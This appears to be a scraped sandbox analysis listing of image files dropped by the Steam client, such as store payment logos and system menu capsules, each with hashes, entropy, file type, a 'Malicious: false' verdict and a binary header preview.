<?xpacket end="r"?>V.u....IDATx...m.U...Z..{.E..Z.-Z.!. @p...l..6y........\.*;@.T 8.(....b.$.B...q..k}...X..=.d...R..!Z....Z.c.1..s..w

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\visa.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19950
Entropy (8bit):	7.971240172030977
Encrypted:	false
SSDEEP:
MD5:	18078533C9D0F9A538A9D5A8DEE92454
SHA1:	CD0EC290C8AE5A178B79D15B86D5B7702DFB4005
SHA-256:	1C388DB52447DE161659A3FFDBC8E052A4BBAFF92F0129702F03DB3C36443244
SHA-512:	8FFE39C25CEE38047DAB18396B3EF43302DEB62F54709220EA9681E0CB2E8EF11F9ED5C02208ACC042239FB526BA982452EDDEA3F1E4E54CFB62BF9D372E131C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:0593D040A69B11E19466C3FD5B3CA2DB" xmpMM:InstanceID="xmp.iid:0593D03FA69B11E19466C3FD5B3CA2DB" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.6...J IDATx......y...U}.}.3.o.....M..(.Vd..".v.8q.H

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\webmoney.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11554
Entropy (8bit):	7.923278868354127
Encrypted:	false
SSDEEP:
MD5:	84BF63629F2718782654554920BD7243
SHA1:	E40E238AB769BEE443CF1693D51BDD1133F0D43C
SHA-256:	9C9876B8F95C3BCDEBF8716E98C888022BD495174AC66A8BAA2CE8B920A2E9DA
SHA-512:	661C1F26C044893F7A3656C327D4CFC44A30426AF59578A72244FA9A594FD3EDDFD0D962AEB7E1279D76A1B3AE801052F029C0D810595FE128181FA6E5F87F06
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:130F79CBA69A11E190948345B4DF2ABB" xmpMM:InstanceID="xmp.iid:130F79CAA69A11E190948345B4DF2ABB" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..uE..)TIDATx...\|.....;.$Kr.r.,[..B......`06..BB.$

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\yandex.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12035
Entropy (8bit):	7.940625981412785
Encrypted:	false
SSDEEP:
MD5:	042AF3A231882AD456DADFE14E888D49
SHA1:	092AFE589DE9FC48949B294E94F16AA2F690EA9C
SHA-256:	1C2CBCE8EF36AB040B501A1F3AA8A5566D22D053BB13EB5787044BF75D282DA4
SHA-512:	7218BD66C3B84289384AA8A3A706D41B4EC70B89DB1AD900AFEF60CCD71CF0F6520FB62D4A913CD89CC4053372782B643B5F289482E655F3F0A87328AF51C737
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:0CA1A07EA69A11E1AE6CC0FFD21B0D5D" xmpMM:InstanceID="xmp.iid:0CA1A07DA69A11E1AE6CC0FFD21B0D5D" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...t..+5IDATx...\|.......@.. ...;...T...,(..<.. (..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\streaming_intro.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 735 x 257, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	66384
Entropy (8bit):	7.984040332302932
Encrypted:	false
SSDEEP:
MD5:	D28B98801101E315F99319F5188E07EF
SHA1:	1FDCDECD74D85EE8D6934C01F38E1CFB5FC77878
SHA-256:	BE12B8A0B6B154F64C88E4178C72E155CE87C358E8B38A8854882845B7317FCF
SHA-512:	332FEF6041662BD56C666D662BA0EA9376B0026A2D8D59408A04286669383D64C7F683F2DDF830450507B7D5EAE9DC5E31E436186082C7071DCCD4B06F338A85
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.....................pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\support.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	7.378360725848639
Encrypted:	false
SSDEEP:
MD5:	0A3279F30FC9126A80C691CE08F8490C
SHA1:	76FDE9171EBC12EE0BEF843C6D6A6089F6CAF0AD
SHA-256:	05C7337863F002B1AE135F8E4A998631774D4806800E53B34B031E6D4939EDCE
SHA-512:	7A1A63DD4C1FADF2481D78C293D98FAFE5A1D3ECA0CAC68DDD8867C443908375A63E6DEA2CD30D47DFCDA196EEB9254F2C1120D9F81935B3580742E1329FF5B2
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:858FB28D452311E5B415A230B656E2BA" xmpMM:DocumentID="xmp.did:858FB28E452311E5B415A230B656E2BA"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:858FB28B452311E5B415A230B656E2BA" stRef:documentID="xmp.did:858FB28C452311E5B415A230B656E2BA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..d.....IDATx..AH.Q..g.MW..Lo..\<D.Ct...:...RGC...B.WD...`..u..X. F!.A.........?...y3.f*....:;.{.y....M..jY.h.V.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\capsule_01.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2015 (Windows), datetime=2015:09:21 11:29:24], baseline, precision 8, 460x215, components 3
Category:	dropped
Size (bytes):	35451
Entropy (8bit):	7.386428094294742
Encrypted:	false
SSDEEP:
MD5:	6E44CF8D3593A7ABA647589C50CE06F6
SHA1:	803AC5ACA5423AE4E5ED67E2A37584F2B93F20E5
SHA-256:	7F4071884CD7F9F136B33F2EC62D58A529B5AF720122A59C06F8FCECCE2540C3
SHA-512:	C1D85BA00F4554E261599E37838141EBDFBBCA1E642700C18C551AA3DB456B932B40AE17E00981ECA79C46DAC61085D8B70EA6866F006E40F50F52BEB68FFB1D
Malicious:	false
Reputation:	unknown
Preview:	.....'Exif..MM..............................b...........j.(...........1....."...r.2...........i....................'.......'.Adobe Photoshop CC 2015 (Windows).2015:09:21 11:29:24....................................................................."............(.....................2...................H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................K...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..!(R.._s..0....I.iB.%...P..BJ.)B.'.Ul!(S....P..BJ.)B.%.....Ula1....V.....a-...mZ4.Z8O.OjP...j6.%.O..J....R....j[R.[.Kj...R.Z=....KjT.$P.J&..J.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\capsule_01_over.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2015 (Windows), datetime=2015:09:21 17:00:48], baseline, precision 8, 460x215, components 3
Category:	dropped
Size (bytes):	44725
Entropy (8bit):	7.549894569768623
Encrypted:	false
SSDEEP:
MD5:	ACEA02E53E83DBD29C3A6D45F2F2720A
SHA1:	9783632316ADF78D9B3EFA45C9751B34F3A1CD8D
SHA-256:	D214C5E296917107D5BB145D06CE358F6384E3197B3DB68B7AE61CFEFDCF147E
SHA-512:	2961DE63DA0FC8A625CF411FD8DEE35233ABDA7AACAFC170AFFF1D7B97DDE41F0B817AF43520595F24FD04161E929F67184F86C479C6C2A67D86FD778A59D1E7
Malicious:	false
Reputation:	unknown
Preview:	.....uExif..MM..............................b...........j.(...........1....."...r.2...........i....................'.......'.Adobe Photoshop CC 2015 (Windows).2015:09:21 17:00:48....................................................................."............(.....................2...........;.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................K...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..*n..j..%D..1M%pV.(..-4.riM)%je.-.)%je)J.IZ....SJV.{......rpT...(! O.....Z.....xApV...5j..D.)...4&/.e.....R..$.(A6..R.l..`.......BP..-.R..'.R-Kl .c

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\capsule_02.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2015 (Windows), datetime=2015:09:21 11:29:23], baseline, precision 8, 460x215, components 3
Category:	dropped
Size (bytes):	33784
Entropy (8bit):	7.382297065228436
Encrypted:	false
SSDEEP:
MD5:	6481C862A125BA591DF1521C95DC7299
SHA1:	B51DC18F7952FDF51BFF5EFA37B564CC24AEA7D6
SHA-256:	A9BBE90FFA3C2F9371C30EBB29D75F394B1CCF65266BE2047578F719ABC66483
SHA-512:	31EAF0710CEC74A6B1804FCD01C4CD7D6E770D9359A105FE4DDA15592E8E31C6FF2713EFB91EA9DDDA5E006286F0A0769709A2EA9E59FEBAF7B10EBAB18B9968
Malicious:	false
Reputation:	unknown
Preview:	.....,Exif..MM..............................b...........j.(...........1....."...r.2...........i....................'.......'.Adobe Photoshop CC 2015 (Windows).2015:09:21 11:29:23....................................................................."............(.....................2...................H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................K...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..4).P.SF.BP..B..0.)BP..A8)Bp.B.....8.BJ.i...L.(IV.%$B..4N.R..%.p. .a.B.&..la(R..%[....(D-M.h9.....-.&..P..-.R..'.(J.U..4....(E..l..KS.Z\|. .!%Z(L[."....-.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\capsule_03.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2015 (Windows), datetime=2015:09:21 11:29:22], baseline, precision 8, 460x215, components 3
Category:	dropped
Size (bytes):	37429
Entropy (8bit):	7.461233189772491
Encrypted:	false
SSDEEP:
MD5:	0CBD210F69E863840579B3EC75689C26
SHA1:	4E78C6DB7D3EEC00AB6EA05D5E97719597E08968
SHA-256:	2F07AFFB49D41303CB6E5911121C38F0A3F4DFF0445B6A7150797064BA423867
SHA-512:	63576C5E4A7B56519B3A9B05066368B6E3AD2D1BA5EFAD034F6F86B48516DBDB0B8E08871E3B0C6B0E3FE7DDAA92078D0087DD0DB39AC777CC3592BC5B0F19D4
Malicious:	false
Reputation:	unknown
Preview:	......Exif..MM..............................b...........j.(...........1....."...r.2...........i....................'.......'.Adobe Photoshop CC 2015 (Windows).2015:09:21 11:29:22....................................................................."............(.....................2...................H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................K...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..bSp..%..W.....r..%Z.T.(S.8y..b4R.&.h..b.Q"S...b.$...*............ ...w7..j....Z.(Gc...#..T.YiIV..9.#V....~T...#....o..iX.0.;.G6P....[...;...o...@..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\capsule_04.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2015 (Windows), datetime=2015:09:21 11:29:21], baseline, precision 8, 460x215, components 3
Category:	dropped
Size (bytes):	31739
Entropy (8bit):	7.275020644245541
Encrypted:	false
SSDEEP:
MD5:	6AC6BF33DD28BE9E812745DBE098D1D2
SHA1:	FAC544B819FB4A513B9925C30788F9A1891605B8
SHA-256:	66C1E910DFEBD7D36A595540F0B177AD8B0907C5B505CDDFE91F0F2C9D6B84F0
SHA-512:	0740254FB8D2F86DEF3E1F8C5F888E3226C7019D4CA28EE63ABF7639270E11327CEF3D576237CCE75BA0F7D57224F9F5314E77C89C16B500D1E30272376F8B12
Malicious:	false
Reputation:	unknown
Preview:	.....(Exif..MM..............................b...........j.(...........1....."...r.2...........i....................'.......'.Adobe Photoshop CC 2015 (Windows).2015:09:21 11:29:21....................................................................."............(.....................2...................H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................K...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..!<)BP..-.%.P.$.X..'. ...mN. ...-.".B}.a.[RM..(D,J.U.n.wQ{.6...C.J..."._Z.$.b.%<%...[:......(S..Nm..j...H..'..B...R.Z.C.. ....R..!.48H.J.h..8j(..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\capsule_05.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2015 (Windows), datetime=2015:09:21 11:29:20], baseline, precision 8, 460x215, components 3
Category:	dropped
Size (bytes):	32480
Entropy (8bit):	7.268735848654855
Encrypted:	false
SSDEEP:
MD5:	01625A17B8AA226CDE8C72B1A378CDEC
SHA1:	EB4139E900AC9075546B4BBF956D4DBE1846F46C
SHA-256:	CD52E59D4063A65C4245986C5F4313F86D0F87F177F392685015C23E81155CB6
SHA-512:	6B93E4F059A4B84E9F9D4C7FC0F88E3D90F5CE62F9B50A98F923127C740A2B8AE142122034FBB7A84FC086E4DF22DF3C102FB85740B20FA9A857F8725836D2E2
Malicious:	false
Reputation:	unknown
Preview:	......Exif..MM..............................b...........j.(...........1....."...r.2...........i....................'.......'.Adobe Photoshop CC 2015 (Windows).2015:09:21 11:29:20....................................................................."............(.....................2...................H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................K...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..H.N..B.!@..".b.U...D\|...X..P..U.!@.."Bb.U.N......J.J.G.L~..........(....&S....$B.%.....!F<.bTah.l.xNZ.J.lKTH..,wLZ....a(J.lHM.p...[...Q.D.*U..N..(J.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\capsule_06.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2015 (Windows), datetime=2015:09:21 11:29:19], baseline, precision 8, 460x215, components 3
Category:	dropped
Size (bytes):	29734
Entropy (8bit):	7.28592621602143
Encrypted:	false
SSDEEP:
MD5:	06A64C06386489E48E420BE5D37AB19A
SHA1:	6DA0398ED7144B9B0827031D6ECB88C4BD1C5FDC
SHA-256:	4CB2AE30A02D3AFB751B18E49CF51A9F13F7325A7B870E629E2EAC3C08F20C2B
SHA-512:	CE3DF944807CB79FD4FED9F1378D4C4C2FF38AE4F428CEAD54FA678A453A8C7055D15FF2DE2DB86D425EAEF522B6F2CB7CD592174B13CEB48A3CBA996BEB968B
Malicious:	false
Reputation:	unknown
Preview:	......Exif..MM..............................b...........j.(...........1....."...r.2...........i....................'.......'.Adobe Photoshop CC 2015 (Windows).2015:09:21 11:29:19....................................................................."............(.....................2...................H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................K...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?...(R.._h[..H...[.IJ...la%(J.U..B.'.Ula<)...U....E..D....9.R..)....."....Uo...!(S....8J.6.-J.l.J..(I6......`..R.H.Qh.J....F.l!>.=..J.h....\...V..4".

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\capsule_glow.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	28690
Entropy (8bit):	3.6040168333552263
Encrypted:	false
SSDEEP:
MD5:	8792F979C9CAF63046D5669B9545D548
SHA1:	F367F24F012153D6BFE584ED3763CB31142F227A
SHA-256:	FD3FE9EFB1970313258752B6BC2E04D6853EAFB9A82C76AB96A3B08E5ECFC75E
SHA-512:	27B3075A1D823EE08986B0EA5980D6D725E1DD149BF1544A9B1362628A7FE99CB91870E472A1AA1FDE075865369172FC2FEF8CC287003D3578BD05B0A5C6B07C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......8........C....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\capsule_mask.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 460 x 215, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	47949
Entropy (8bit):	6.673433878681001
Encrypted:	false
SSDEEP:
MD5:	4767200EE7465D254A917EE4637D89BA
SHA1:	209D1C7D54BB872D103CB8A73DE7656B9C6A11EF
SHA-256:	401137ACF18C3D3867C9175E7CF6699A3298BC20370C97DB18CC2B6FB57EDB5A
SHA-512:	9338DB81CAF86B7D156063758BB93150BA3EDB108AD62FF423E68022381C6F1D095A11FB71DB6B0B627281B61982BD0EE032305B797D30E28CCCECD1E781E824
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............aj....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\group.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4298
Entropy (8bit):	7.91296592724536
Encrypted:	false
SSDEEP:
MD5:	81A2B7E095D6B2DFC31C136084A65569
SHA1:	84D1A1F989BFAF143C79485BDDFCEFB518161D54
SHA-256:	99E9E953E70D35211482938C5A25439F68D91A684F3817D79357B796DF01DF67
SHA-512:	98C112839F1B2AF1937458F700B05EE706000F1D7C3B3986E38059A552931791E967DC4F51704828D45111644512533ABEBE1817E78D60A99B5A4D17F69D3017
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\grouprequest.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4454
Entropy (8bit):	7.908391764124661
Encrypted:	false
SSDEEP:
MD5:	FE4F90A0B12D6E8B6B2D5DB826A75357
SHA1:	F7161E73558E0216F152998092D2ED142E40C92D
SHA-256:	B01C5E10EBFE65F895139E95922D9167BFA29CBDF3C9D693BEAA27E8C34B158E
SHA-512:	DC4C3B018F40C6BD87D31BEB5041DEFC3F5FE2B9CCDFD04A49083DFDE973E860624537DD0904764D709F64643DC916D6EBDC4E78F4DC6C7C287BB332C4E4A08B
Malicious:	false
Reputation:	unknown
